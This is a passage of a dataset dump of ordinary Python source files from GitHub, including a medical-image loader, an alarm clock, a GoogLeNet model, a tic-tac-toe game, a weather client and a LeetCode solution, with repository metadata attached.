warnings\r\nsys.path.append(\"../\")\r\nfrom utils.config import config\r\nfrom utils.visualization import show_views\r\nimport cv2\r\n# warnings.filterwarnings(\"ignore\")\r\nfrom utils.convert import convert\r\nfrom sklearn.model_selection import KFold\r\nimport torchvision.transforms as transforms\r\n\r\n\r\nclass KitsDataset(Dataset):\r\n def __init__(self, image_root, mask_root, pre_process=True):\r\n super(KitsDataset, self).__init__()\r\n self.image_root = image_root\r\n self.mask_root = mask_root\r\n # file name\r\n self.ids = self.get_file(image_root)\r\n self.pre_process = pre_process\r\n\r\n def __len__(self):\r\n return len(self.ids)\r\n\r\n def __getitem__(self, item):\r\n \"\"\"\r\n :param item:\r\n :return: 4D (c,s,h,w)\r\n \"\"\"\r\n idx = self.ids[item]\r\n image_root = self.image_root\r\n mask_root = self.mask_root\r\n image_file = os.path.join(image_root, idx)\r\n mask_file = os.path.join(mask_root, idx)\r\n # print(image_file,mask_file)\r\n assert len(glob(image_file)) == 1, \"image: no or multiple \" + image_file\r\n assert len(glob(mask_file)) == 1, \"mask: no or multiple \" + mask_file\r\n # (s,h,w)??\r\n image_np, space = convert.nii_2_np(image_file)\r\n mask_np, space = convert.nii_2_np(mask_file)\r\n # print(space)\r\n # non_zero = np.nonzero(mask_np)[0]\r\n # max_index = non_zero.max()\r\n # min_index = non_zero.min()\r\n mask_numpy = np.expand_dims(mask_np, axis=0)\r\n if self.pre_process:\r\n image_np = self.preprocess(image_np)\r\n image_numpy = np.expand_dims(image_np, axis=0)\r\n\r\n # bug xcd the shape w and h dont same\r\n return {\r\n \"image\": torch.from_numpy(image_numpy.copy()).type(torch.FloatTensor),\r\n \"mask\": torch.from_numpy(mask_numpy.copy()).type(torch.FloatTensor),\r\n \"spacing\": space\r\n }\r\n\r\n @staticmethod\r\n # 获取目录下的文件路径名\r\n def get_file(image_root):\r\n ids = list()\r\n for file in os.listdir(image_root):\r\n image_path = os.path.join(image_root, file)\r\n for image in os.listdir(image_path):\r\n if image.endswith(\".gz\"):\r\n ids.append(os.path.join(file, image))\r\n # print(ids)\r\n return ids\r\n\r\n @staticmethod\r\n def preprocess(image):\r\n \"\"\"\r\n CT value to [-79,306], and normalization\r\n :param image: a image metric\r\n :return: preprocess\r\n \"\"\"\r\n image[image < -79] = -79\r\n image[image > 304] = 304\r\n image = (image - 101) / 76.9\r\n return image\r\n\r\n def transforms(self):\r\n flip = transforms.Compose([\r\n transforms.RandomHorizontalFlip(1),\r\n ])\r\n\r\n\r\ndef main():\r\n image_root = config.image_3d_path\r\n mask_root = config.mask_3d_path\r\n base_dataset = KitsDataset(image_root, mask_root)\r\n # print(len(base_dataset.ids))\r\n index = 10\r\n images = base_dataset[index]\r\n show_views(images[\"image\"][0][index], images[\"mask\"][0][index], cmap=\"gray\")\r\n\r\n # print(images[\"image\"].max(), len(base_dataset))\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n\r\n","repo_name":"clearknow/kits","sub_path":"data/kits_dataset.py","file_name":"kits_dataset.py","file_ext":"py","file_size_in_byte":3360,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"36754844987","text":"import sys\r\nimport pygame\r\nimport datetime\r\nfrom PyQt5 import QtWidgets\r\nimport notice_win\r\nimport help_file\r\n\r\n\r\ndef start_music_and_open_notice_window():\r\n pygame.init()\r\n pygame.mixer.music.load('more\\\\call_sound.mp3')\r\n pygame.mixer.music.play()\r\n\r\n app = QtWidgets.QApplication([])\r\n window = notice_win.NoticeWindow()\r\n window.show()\r\n sys.exit(app.exec())\r\n\r\n\r\nwhile True:\r\n\r\n day_data = help_file.database.pull_data('data\\\\day.sqlite')\r\n week_data = help_file.database.pull_data('data\\\\week.sqlite')\r\n\r\n now_year = datetime.datetime.now().year\r\n now_month = datetime.datetime.now().month\r\n week_day = datetime.date.today().strftime('%w')\r\n now_day = datetime.datetime.now().day\r\n now_hour = datetime.datetime.now().hour\r\n now_minute = datetime.datetime.now().minute\r\n\r\n for data in day_data:\r\n date = data[2].split('.') # потому что строка такая: DD.MM.YYYY\r\n\r\n if len(date) > 1: # на случай если строка со значением 'undefined'(значение по умолчанию)\r\n if (int(date[2]) == now_year and int(date[1]) == now_month\r\n and int(date[0]) == now_day and int(data[3]) == now_hour\r\n and int(data[4]) == now_minute):\r\n index = day_data.index(data) # для того, что бы знать какой кортеж с датой активный\r\n\r\n help_file.active_path = 'data\\\\day.sqlite'\r\n help_file.active_id = index + 1\r\n start_music_and_open_notice_window()\r\n\r\n for data in week_data:\r\n days = data[2]\r\n\r\n # замена значений на числа, которые можно проверить\r\n days = days.replace('Mon', '1')\r\n days = days.replace('Tue', '2')\r\n days = days.replace('Wed', '3')\r\n days = days.replace('Thu', '4')\r\n days = days.replace('Fri', '5')\r\n days = days.replace('Sat', '6')\r\n days = days.replace('Sun', '7')\r\n\r\n int_days = days.split()\r\n\r\n if str(week_day) in int_days:\r\n if int(data[3]) == now_hour and int(data[4]) == now_minute:\r\n index = week_data.index(data) # для того, что бы знать какой кортеж с датой активный\r\n\r\n help_file.active_path = 'data\\\\week.sqlite'\r\n help_file.active_id = index + 1\r\n start_music_and_open_notice_window()\r\n","repo_name":"ityas/alarm_clock","sub_path":"check_time.py","file_name":"check_time.py","file_ext":"py","file_size_in_byte":2512,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"73042157493","text":"from collections import OrderedDict\nimport os\n\nfrom chainer.dataset import download\nfrom chainer.functions.activation.relu import relu\nfrom chainer.functions.noise.dropout import dropout\nfrom chainer.functions.pooling.max_pooling_2d import max_pooling_2d\nfrom chainer.functions.pooling.average_pooling_2d import average_pooling_2d\nfrom chainer.functions.normalization.local_response_normalization\\\n import local_response_normalization\nfrom chainer import link\nfrom chainer.links.connection.convolution_2d import Convolution2D\nfrom chainer.links.connection.inception import Inception\nfrom chainer.links.connection.linear import Linear\nfrom chainer.serializers import npz\n\n\nclass GoogLeNet(link.Chain):\n \"\"\"A pre-trained CNN model of GoogLeNet [1].\n\n During initialization, this chain model automatically downloads\n the pre-trained caffemodel, convert to another chainer model,\n stores it on your local directory, and initializes all the parameters\n with it. This model would be useful when you want to extract a semantic\n feature vector from a given image, or fine-tune the model\n on a different dataset.\n Note that this pre-trained model is released under Creative Commons\n Attribution License.\n\n If you want to manually convert the pre-trained caffemodel to a chainer\n model that can be specified in the constructor,\n please use ``convert_caffemodel_to_npz`` classmethod instead.\n\n .. [1] K. Simonyan and A. Zisserman, `Going Deeper with Convolutions\n `_\n\n Args:\n pretrained_model (str): the destination of the pre-trained\n chainer model serialized as a ``.npz`` file.\n If this argument is specified as ``auto``,\n it automatically loads and converts the caffemodel from\n ``$CHAINER_DATASET_ROOT/yuyu2172/chainer-cv/models/\n bvlc_googlenet.caffemodel``,\n where ``$CHAINER_DATASET_ROOT`` is set as\n ``$HOME/.chainer/dataset`` unless you specify another value\n as an environment variable. Note that in this case the converted\n chainer model is stored on the same directory and automatically\n used from the second time.\n If the argument is specified as ``None``, all the parameters\n are not initialized by the pre-trained model.\n\n Attributes:\n available_layers (list of str): The list of available layer names\n used by ``__call__`` and ``extract`` methods.\n \"\"\"\n\n def __init__(self, pretrained_model='auto'):\n super(GoogLeNet, self).__init__(\n conv1=Convolution2D(3, 64, 7, stride=2, pad=3),\n conv2_reduce=Convolution2D(64, 64, 1),\n conv2=Convolution2D(64, 192, 3, stride=1, pad=1),\n inc3a=Inception(192, 64, 96, 128, 16, 32, 32),\n inc3b=Inception(256, 128, 128, 192, 32, 96, 64),\n inc4a=Inception(480, 192, 96, 208, 16, 48, 64),\n inc4b=Inception(512, 160, 112, 224, 24, 64, 64),\n inc4c=Inception(512, 128, 128, 256, 24, 64, 64),\n inc4d=Inception(512, 112, 144, 288, 32, 64, 64),\n inc4e=Inception(528, 256, 160, 320, 32, 128, 128),\n inc5a=Inception(832, 256, 160, 320, 32, 128, 128),\n inc5b=Inception(832, 384, 192, 384, 48, 128, 128),\n loss3_fc=Linear(1024, 1000),\n\n loss1_conv=Convolution2D(512, 128, 1),\n loss1_fc1=Linear(4 * 4 * 128, 1024),\n loss1_fc2=Linear(1024, 1000),\n\n loss2_conv=Convolution2D(528, 128, 1),\n loss2_fc1=Linear(4 * 4 * 128, 1024),\n loss2_fc2=Linear(1024, 1000),\n )\n if pretrained_model == 'auto':\n _retrieve(\n 'bvlc_googlenet.npz',\n 'http://dl.caffe.berkeleyvision.org/bvlc_googlenet.caffemodel',\n self)\n elif pretrained_model:\n npz.load_npz(pretrained_model, self)\n self.functions = OrderedDict([\n ('conv1', [self.conv1, relu]),\n ('pool1', [lambda x: max_pooling_2d(x, ksize=3, stride=2),\n lambda x: local_response_normalization(x, n=5)]),\n ('conv2_reduce', [self.conv2_reduce, relu]),\n ('conv2', [self.conv2, relu]),\n ('pool2', [lambda x: local_response_normalization(x, n=5),\n lambda x: max_pooling_2d(x, ksize=3, stride=2)]),\n ('inc3a', [self.inc3a]),\n ('inc3b', [self.inc3b]),\n ('pool3', [lambda x: max_pooling_2d(x, ksize=3, stride=2)]),\n ('inc4a', [self.inc4a]),\n\n ('inc4b', [self.inc4b]),\n ('inc4c', [self.inc4c]),\n ('inc4d', [self.inc4d]),\n ('inc4e', [self.inc4e]),\n ('pool4', [lambda x: max_pooling_2d(x, ksize=3, stride=2)]),\n ('inc5a', [self.inc5a]),\n ('inc5b', [self.inc5b]),\n ('pool6', [lambda x: average_pooling_2d(x, ksize=7, stride=1)]),\n ('prob', [lambda x: dropout(x, ratio=0.4),\n self.loss3_fc])\n ])\n\n @classmethod\n def convert_caffemodel_to_npz(cls, path_caffemodel, path_npz):\n \"\"\"Converts a pre-trained caffemodel to a chainer model.\n\n Args:\n path_caffemodel (str): Path of the pre-trained caffemodel.\n path_npz (str): Path of the converted chainer model.\n \"\"\"\n\n # As CaffeFunction uses shortcut symbols,\n # we import CaffeFunction here.\n from chainer.links.caffe.caffe_function import CaffeFunction\n caffemodel = CaffeFunction(path_caffemodel)\n chainermodel = cls(pretrained_model=None)\n _transfer_googlenet(caffemodel, chainermodel)\n npz.save_npz(path_npz, chainermodel, compression=False)\n\n def __call__(self, x, layers=['prob'], test=True):\n \"\"\"Computes all the feature maps specified by ``layers``.\n\n Args:\n x (~chainer.Variable): Input variable.\n layers (list of str): The list of layer names you want to extract.\n test (bool): If ``True``, dropout runs in test mode.\n\n Returns:\n Dictionary of ~chainer.Variable: A directory in which\n the key contains the layer name and the value contains\n the corresponding feature map variable.\n\n \"\"\"\n\n h = x\n activations = {}\n target_layers = set(layers)\n for key, funcs in self.functions.items():\n if len(target_layers) == 0:\n break\n for func in funcs:\n if func is dropout:\n h = func(h, train=not test)\n else:\n h = func(h)\n if key in target_layers:\n activations[key] = h\n target_layers.remove(key)\n return activations\n\n\ndef _transfer_Wb(src, dst):\n # transfer weights for Convolution and Linear layers\n dst.W.data[:] = src.W.data\n dst.b.data[:] = src.b.data\n\n\ndef _transfer_inception(src, dst, inception_name):\n _transfer_Wb(src[inception_name + '/' + '1x1'], dst.conv1)\n _transfer_Wb(src[inception_name + '/' + '3x3'], dst.conv3)\n _transfer_Wb(src[inception_name + '/' + '5x5'], dst.conv5)\n _transfer_Wb(src[inception_name + '/' + '3x3_reduce'], dst.proj3)\n _transfer_Wb(src[inception_name + '/' + '5x5_reduce'], dst.proj5)\n _transfer_Wb(src[inception_name + '/' + 'pool_proj'], dst.projp)\n\n\ndef _transfer_googlenet(src, dst):\n _transfer_Wb(src['conv1/7x7_s2'], dst.conv1)\n _transfer_Wb(src['conv2/3x3_reduce'], dst.conv2_reduce)\n _transfer_Wb(src['conv2/3x3'], dst.conv2)\n\n _transfer_inception(src, dst.inc3a, 'inception_3a')\n _transfer_inception(src, dst.inc3b, 'inception_3b')\n _transfer_inception(src, dst.inc4a, 'inception_4a')\n _transfer_inception(src, dst.inc4b, 'inception_4b')\n _transfer_inception(src, dst.inc4c, 'inception_4c')\n _transfer_inception(src, dst.inc4d, 'inception_4d')\n _transfer_inception(src, dst.inc4e, 'inception_4e')\n _transfer_inception(src, dst.inc5a, 'inception_5a')\n _transfer_inception(src, dst.inc5b, 'inception_5b')\n\n _transfer_Wb(src['loss3/classifier'], dst.loss3_fc)\n _transfer_Wb(src['loss1/conv'], dst.loss1_conv)\n _transfer_Wb(src['loss1/fc'], dst.loss1_fc1)\n _transfer_Wb(src['loss1/classifier'], dst.loss1_fc2)\n _transfer_Wb(src['loss2/conv'], dst.loss2_conv)\n _transfer_Wb(src['loss2/fc'], dst.loss2_fc1)\n _transfer_Wb(src['loss2/classifier'], dst.loss2_fc2)\n\n\ndef _make_npz(path_npz, url, model):\n path_caffemodel = download.cached_download(url)\n print('Now loading caffemodel (usually it may take few minutes)')\n GoogLeNet.convert_caffemodel_to_npz(path_caffemodel, path_npz)\n npz.load_npz(path_npz, model)\n return model\n\n\ndef _retrieve(name, url, model):\n root = download.get_dataset_directory('yuyu2172/chainer-cv/models/')\n path = os.path.join(root, name)\n return download.cache_or_load_file(\n path, lambda path: _make_npz(path, url, model),\n lambda path: npz.load_npz(path, model))\n","repo_name":"LiuFang816/SALSTM_py_data","sub_path":"python/yuyu2172_chainer-cv/chainer-cv-master/chainer_cv/models/googlenet.py","file_name":"googlenet.py","file_ext":"py","file_size_in_byte":9068,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"74621731893","text":"from mongoengine import *\n\n\nclass MongoTest(Document):\n test_id = IntField(max_length=16)\n name = StringField()\n age = IntField(max_length=3)\n task = StringField()\n\n\nconnect('mongo_test')\n\n\ndef save_data():\n t1 = MongoTest(test_id=1, name=\"张小凡\", age=18, task=\"诛仙\")\n t2 = MongoTest(test_id=2, name=\"陆雪琪\", age=17, task=\"天琊\")\n t3 = MongoTest(test_id=3, name=\"碧瑶\", age=16, task=\"合欢铃\")\n t_obj = [t1, t2, t3]\n [item.save() for item in t_obj]\n\n\ndef update_date():\n # 错误语法\n # MongoTest.update({\"test_id\": 1, \"name\": \"张小凡\"}, {\"$set\": dict(test_id=11, name=\"张小凡\", age=20, task=\"诛仙\")}, True)\n # MongoTest.objects(test_id=1, name=\"张小凡\").update({\"$set\": dict(test_id=11, name=\"张小凡\", age=20, task=\"诛仙\")}, True)\n\n # pymongo语法更新,不存在则创建\n # DeprecationWarning: update is deprecated. Use replace_one, update_one or update_many instead.\n # MongoTest._get_collection().update({\"test_id\": 1, \"name\": \"张小凡\"},\n # {\"$set\": dict(test_id=11, name=\"张小凡\", age=20, task=\"诛仙\")}, True)\n # MongoTest._get_collection().update({\"test_id\": 17, \"name\": \"小白\"},\n # {\"$set\": dict(test_id=17, name=\"小白\", age=999, task=\"九尾\")}, True)\n # res = MongoTest._get_collection().update_one({\"test_id\": 17, \"name\": \"小白\"},\n # {\"$set\": dict(test_id=5, name=\"小白\", age=999, task=\"九尾\")}, True)\n # print(res)\n # 通过对象更新\n # t1 = MongoTest.objects.filter(test_id=11, name=\"张小凡\").first()\n # t1.task = \"大竹峰\"\n # t1.save()\n\n # 只更新,找不到不创建\n # MongoTest.objects(test_id=5, name=\"小白\").update(name=\"小六\", age=666, task=\"六尾\")\n # 存在更新返回1\n res = MongoTest.objects(test_id=5, name=\"小白\").update_one(name=\"小六\", age=666, task=\"六尾\")\n print(res)\n # 不存在不创建返回0\n res = MongoTest.objects(test_id=7, name=\"小七\").update_one(age=777, task=\"这是啥\")\n print(res)\n\n\nif __name__ == '__main__':\n # save_data()\n update_date()\n pass\n","repo_name":"afghanistanyn/NoteBook","sub_path":"Daily/201904TO06/code/mongoengine_update.py","file_name":"mongoengine_update.py","file_ext":"py","file_size_in_byte":2196,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4049550691","text":"#List Comprehension syntax\n#[ for x in if ] \ndata = [2,3,5,7,11,13,17,19,23,29,31]\ndata = [x+3 for x in data]\nprint(\"Updating the list: \", data)# update list\n\nnew_data = [x*2 for x in data]\nprint(\"Creating new list: \", new_data)#new list\n\nfourx = [x for x in new_data if x%4 == 0 ]\nprint(\"Divisible by four\", fourx)# list with If condition\n\nnines = [x for x in range(100) if x%9 == 0]\nprint(\"Nines: \", nines)# using range function\n\n\n#Dictionary Comprehension syntax\n#dict = { key:value for key, value in if } \n#new_dict ={key:value for (key, value) in zip(list1, list2)} (two lists)\nmonths = [\"Jan\", \"Feb\", \"Mar\", \"Apr\", \"May\", \"June\", \"July\", \"Aug\", \"Sept\", \"Oct\", \"Nov\", \"Dec\"]\nnumber = [1,2,3,4,5,6,7,8,9,10,11,12]\nnumdict = {x:x**2 for x in number}\nprint(\"Using one input list to create dict: \", numdict)#dictionary using one list\n\nmonths_dict = {key:value for (key, value) in zip(number, months)}\nprint(\"Using two lists: \", months_dict)#dictionary using two lists\n\n\n#Set Comprehension\n#similar to list comprehension but use curly braces instead of brackets.\nset_a = {x for x in range(10,20) if x not in [12,14,16]}\nprint(set_a)\n\n\n#Generator Comprehension\n#similar to lists, uses parentheses, and object is produced to iterate over.\ndata = [2,3,5,7,11,13,17,19,23,29,31]\ngen_obj = (x for x in data)\nprint(gen_obj)\nprint(type(gen_obj))\nfor items in gen_obj:\n print(items, end = \" \")\n \n\nemployee_list = [\n {\"id\": 12345, \"name\": \"John\", \"department\": \"Kitchen\"},\n {\"id\": 12456, \"name\": \"Paul\", \"department\": \"House Floor\"},\n {\"id\": 12478, \"name\": \"Sarah\", \"department\": \"Management\"},\n {\"id\": 12434, \"name\": \"Lisa\", \"department\": \"Cold Storage\"},\n {\"id\": 12483, \"name\": \"Ryan\", \"department\": \"Inventory Mgmt\"},\n {\"id\": 12419, \"name\": \"Gill\", \"department\": \"Cashier\"}\n]\n\ndef mod(employee_list):\n temp = employee_list['name'] + \"_\" + employee_list[\"department\"]\n return temp\n\n#using the map() function to apply mod() to all elements within employee_list. Assign the result of it to a new variable called map_emp. Convert map_emp to a list and return it.\ndef to_mod_list(employee_list):\n map_emp = map(mod, employee_list)\n end_list = [x for x in map_emp]\n return end_list\n\n#using list comprehension and the replace() over mod_list to replace all spaces (\" \") with underscores (\"_\"). Return the resulting list.\ndef generate_usernames(mod_list):\n new_list = [x.replace(\" \", \"_\") for x in mod_list]\n return new_list\n\n#using dictionary comprehension over the employee_list to create a dictionary where each key is the first letter of an employee's name and the value is the employee's ID.\ndef map_id_to_initial(employee_list):\n new_dict = {}\n for x in employee_list:\n new_dict = {x['name'][0] : x['id'] for x in employee_list}\n return new_dict ","repo_name":"tgilly93/BEND_Coursera","sub_path":"Python/comprehensions.py","file_name":"comprehensions.py","file_ext":"py","file_size_in_byte":2849,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"20681844811","text":"import json\nimport urllib.request\nimport sys\nfrom collections import namedtuple\n\nWeather = namedtuple(\"Weather\", [\"location\", \"temperature\", \"air_pressure\", \"humidity\"])\n\ndef get_location_id(location_name):\n url = f\"https://www.metaweather.com/api/location/search/?query={location_name}\"\n with urllib.request.urlopen(url) as f:\n results = json.loads(f.read())\n if results:\n return results[0]['woeid']\n\n\ndef get_location_weather(location_id):\n url = f\"https://www.metaweather.com/api/location/{location_id}\"\n with urllib.request.urlopen(url) as f:\n results = json.loads(f.read())\n\n location = results['title']\n temp = results['consolidated_weather'][0]['the_temp']\n humidity = results['consolidated_weather'][0]['humidity']\n air_pressure = results['consolidated_weather'][0]['air_pressure']\n\n weather = Weather(location, temp, air_pressure, humidity)\n return weather\n\ndef print_weather(weather):\n print(f\"\"\"\nPogoda w lokalizacji: {weather.location}\n - Temperatura: {weather.temperature}\n - Ciśnienie: {weather.air_pressure}\n - Wilgotność: {weather.humidity}\n \"\"\")\n\n\nif __name__ == \"__main__\":\n # pobrać id dla lokalizacji\n location_id = get_location_id(sys.argv[1])\n # pobrać pogodę dla lokalizacji\n weather = get_location_weather(location_id)\n print(weather[0])\n print(weather.location)\n # wyświetlić wynik\n print_weather(weather)","repo_name":"MagdaPuchlik/python_bootcamp_06102018","sub_path":"zjazd_4/Zadanie_Pogoda.py","file_name":"Zadanie_Pogoda.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37479396486","text":"import tkinter as tk\r\nfrom tkinter import ttk, messagebox\r\n\r\nclass TicTacToe:\r\n def __init__(self):\r\n self.window = tk.Tk()\r\n self.window.title(\"Tic-Tac-Toe\")\r\n self.window.geometry(\"400x400\") # Set the window size to 400x400 pixels\r\n\r\n self.current_player = 'X'\r\n self.board = [[' ' for _ in range(3)] for _ in range(3)]\r\n\r\n self.buttons = [[None] * 3 for _ in range(3)]\r\n\r\n for i in range(3):\r\n for j in range(3):\r\n self.buttons[i][j] = ttk.Button(self.window, text='', style='TButton',\r\n command=lambda i=i, j=j: self.on_button_click(i, j))\r\n self.buttons[i][j].grid(row=i, column=j, sticky=\"nsew\")\r\n self.window.grid_rowconfigure(i, weight=1)\r\n self.window.grid_columnconfigure(j, weight=1)\r\n\r\n style = ttk.Style()\r\n style.configure('TButton', font=('Helvetica', 24, 'bold'))\r\n\r\n # Set colors for 'X' and 'O'\r\n style.map('X.TButton', foreground=[('active', 'blue'), ('!active', 'blue')],\r\n background=[('active', 'lightgray'), ('!active', 'lightgray')])\r\n style.map('O.TButton', foreground=[('active', 'red'), ('!active', 'red')],\r\n background=[('active', 'lightgray'), ('!active', 'lightgray')])\r\n\r\n self.stop_button = ttk.Button(self.window, text='Stop Game', command=self.stop_game)\r\n self.stop_button.grid(row=3, column=0, columnspan=3, pady=10)\r\n\r\n def on_button_click(self, row, col):\r\n if self.board[row][col] == ' ':\r\n self.board[row][col] = self.current_player\r\n self.buttons[row][col]['text'] = self.current_player\r\n self.buttons[row][col]['state'] = 'disabled'\r\n self.buttons[row][col]['style'] = f'{self.current_player}.TButton'\r\n\r\n if self.check_winner():\r\n messagebox.showinfo(\"Game Over\", f\"{self.current_player} wins!\")\r\n self.reset_board()\r\n elif self.is_board_full():\r\n messagebox.showinfo(\"Game Over\", \"It's a draw!\")\r\n self.reset_board()\r\n else:\r\n self.current_player = 'O' if self.current_player == 'X' else 'X'\r\n\r\n def stop_game(self):\r\n response = messagebox.askyesno(\"Stop Game\", \"Do you really want to stop the game?\")\r\n if response:\r\n self.window.destroy()\r\n\r\n def check_winner(self):\r\n for i in range(3):\r\n if all(self.board[i][j] == self.current_player for j in range(3)) or \\\r\n all(self.board[j][i] == self.current_player for j in range(3)):\r\n return True\r\n if all(self.board[i][i] == self.current_player for i in range(3)) or \\\r\n all(self.board[i][2 - i] == self.current_player for i in range(3)):\r\n return True\r\n return False\r\n\r\n def is_board_full(self):\r\n return all(cell != ' ' for row in self.board for cell in row)\r\n\r\n def reset_board(self):\r\n for i in range(3):\r\n for j in range(3):\r\n self.board[i][j] = ' '\r\n self.buttons[i][j]['text'] = ''\r\n self.buttons[i][j]['state'] = 'normal'\r\n self.buttons[i][j]['style'] = 'TButton'\r\n self.current_player = 'X'\r\n\r\n def run(self):\r\n self.window.mainloop()\r\n\r\nif __name__ == \"__main__\":\r\n game = TicTacToe()\r\n game.run()\r\n","repo_name":"Rayyankkhan/CodeSoft","sub_path":"TicTacToe.py","file_name":"TicTacToe.py","file_ext":"py","file_size_in_byte":3455,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40322078194","text":"import base64\nimport json\nimport os\nimport random\n\nimport pandas as pd\nimport requests\n\ndef get_jsons(num, batch=10, size=128):\n if size < 1 or size > 128:\n raise ValueError(\"The size must be in [1, 128].\")\n\n path = '../test/images/' # change path to image dir\n walk_gen = os.walk(path)\n walk = next(walk_gen)\n images = walk[2]\n random.shuffle(images)\n big_body = {}\n big_body['images'] = {}\n big_resp = {}\n big_resp['predictions'] = {}\n\n for i in range(batch):\n print(f'Processing batch #{i + 1}...')\n body = {}\n body['images'] = {}\n offset = i * size\n\n for image in images[offset:offset + size]:\n\n with open(path + image, 'rb') as f:\n encoded_string = base64.b64encode(f.read())\n big_body['images'][image] = str(encoded_string)[2:-1]\n body['images'][image] = str(encoded_string)[2:-1]\n\n r = requests.request(\"POST\", \"http://127.0.0.1:8080\", json=body) # docker run --rm -p 8080:8080 bunyod16/plankathon:latest\n\n if r.status_code == 200:\n resp = r.json()\n big_resp['predictions'].update(resp['predictions'])\n else:\n raise \n\n with open(f'json/body_{num}.json', 'w') as f:\n json.dump(big_body, f)\n\n with open(f'json/response_{num}.json', 'w') as f:\n json.dump(big_resp, f)\n\n return big_body, big_resp\n\ndef get_df(resp):\n df = pd.DataFrame.from_dict(resp['predictions'], orient='index')\n df = df.eq(df.where(df != 0).max(1), axis=0).astype(int)\n df2 = df.sum(axis=0).reset_index()\n df2.columns = ['label', 'count']\n df2 = df2[df2['count'] != 0]\n df2['type'] = df2['label'].str.contains(pat='^[A-Z]', regex=True).astype(int)\n df2 = df2.sort_values(['type', 'count', 'label'], ascending=[False, False, True]).reset_index(drop=True)\n\n for column in df.columns:\n df2.loc[df2['label'] == column, 'sample'] = str(df[column].idxmax())\n\n return df2\n\ndef get_image(body, title):\n encoded_string = body['images'][title]\n decoded_byte = base64.b64decode(encoded_string)\n return decoded_byte","repo_name":"gatestan13/plankthon","sub_path":"src/plotter/plotter/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2131,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"43863465801","text":"import pytest\nfrom nanotune.device.device import NormalizationConstants\n\n\ndef test_normalization_constant_init():\n norm = NormalizationConstants()\n assert sorted(norm.__dataclass_fields__.keys()) == [\n 'rf', 'sensing', 'transport',\n ]\n assert norm.transport == (0., 1.)\n assert norm.sensing == (0., 1.)\n assert norm.rf == (0., 1.)\n\n\ndef test_normalization_constants_update():\n norm = NormalizationConstants()\n norm.update({\"transport\": [-2, -1]})\n assert norm.transport == (-2, -1)\n assert norm.sensing == (0., 1.)\n assert norm.rf == (0., 1.)\n\n norm.update(NormalizationConstants(transport=[-1.1, 0.5], sensing=(2, 1)))\n assert norm.transport == (-1.1, 0.5)\n assert norm.sensing == (2, 1)\n assert norm.rf == (0., 1.)\n\n with pytest.raises(ValueError):\n norm.update([-1.1, 0.5])\n\n with pytest.raises(TypeError):\n norm.update({'transport': -1})\n\n with pytest.raises(KeyError):\n norm.update({'dc_transport': (0, 1)})\n","repo_name":"microsoft/nanotune","sub_path":"nanotune/tests/device/test_normalization_constants.py","file_name":"test_normalization_constants.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"21"} +{"seq_id":"8821753089","text":"import sublime, sublime_plugin\n\ndef advance_to_first_non_white_space_on_line(view, pt):\n while True:\n c = view.substr(pt)\n if c == \" \" or c == \"\\t\":\n pt += 1\n else:\n break\n\n return pt\n\nclass RegionFoldCommand(sublime_plugin.TextCommand):\n def run(self, edit):\n\n def fold_region(r):\n #region Test Region\n view = self.view\n r_start = view.find(\"#region \", r.begin())\n if (r_start.a > r.end()):\n return r\n #endregion\n r_end = view.find(\"#endregion\", r_start.b)\n if (r_end.a > r.end()):\n return r\n f_r = sublime.Region(view.line(r_start).a, view.line(r_end).b)\n view.fold(sublime.Region(advance_to_first_non_white_space_on_line(view, r_start.a)-1, r_start.b))\n view.fold(sublime.Region(view.line(r_start).b, f_r.b))\n return f_r\n \n # if self.view.sel()\n new_sel = []\n for s in self.view.sel():\n if not s.empty():\n new_sel.append(fold_region(s))\n # else:\n # if view.line(s).contains(view.find(\"#region\", view.line(s).a)):\n # fold_region()\n if len(new_sel) != 0:\n self.view.sel().clear()\n for r in new_sel:\n self.view.sel().add(r)\n else:\n fold_region(sublime.Region(0, self.view.size()))","repo_name":"slepox/RegionFold","sub_path":"RegionFold.py","file_name":"RegionFold.py","file_ext":"py","file_size_in_byte":1451,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"18222313252","text":"class Solution:\n def getMaxFunctionValue(self, receiver: List[int], k: int) -> int:\n n = len(receiver)\n m = int(math.log2(k)) + 1\n ans = 0\n # jump[i][j] := node you reach after jumping 2^j steps from i\n jump = [[0] * m for _ in range(n)]\n # summ[i][j] := sum of first 2^j nodes you reach when jumping from i\n summ = [[0] * m for _ in range(n)]\n\n for i in range(n):\n jump[i][0] = receiver[i]\n summ[i][0] = receiver[i]\n\n # Binary lifting.\n for j in range(1, m):\n for i in range(n):\n midNode = jump[i][j - 1]\n # node you reach after jumping 2^j steps from i\n # = node you reach after jumping 2^(j - 1) steps from i\n # + node you reach after jumping another 2^(j - 1) steps\n jump[i][j] = jump[midNode][j - 1]\n # sum of first 2^j nodes you reach when jumping from i\n # = sum of first 2^(j - 1) nodes you reach when jumping from i\n # + sum of another 2^(j - 1) nodes you reach\n summ[i][j] = summ[i][j - 1] + summ[midNode][j - 1]\n\n for i in range(n):\n currSum = i\n currPos = i\n for j in range(m):\n if (k >> j) & 1 == 1:\n currSum += summ[currPos][j]\n currPos = jump[currPos][j]\n ans = max(ans, currSum)\n\n return ans\n","repo_name":"walkccc/LeetCode","sub_path":"solutions/2836. Maximize Value of Function in a Ball Passing Game/2836.py","file_name":"2836.py","file_ext":"py","file_size_in_byte":1272,"program_lang":"python","lang":"en","doc_type":"code","stars":756,"dataset":"github-code","pt":"21"} +{"seq_id":"30548154276","text":"import random\nimport numpy as np\nimport logging\n\nlogger = logging.getLogger(__name__)\n\n# Default difficulty for new task-subtypes\nDEFAULT_DIFFICULTY = 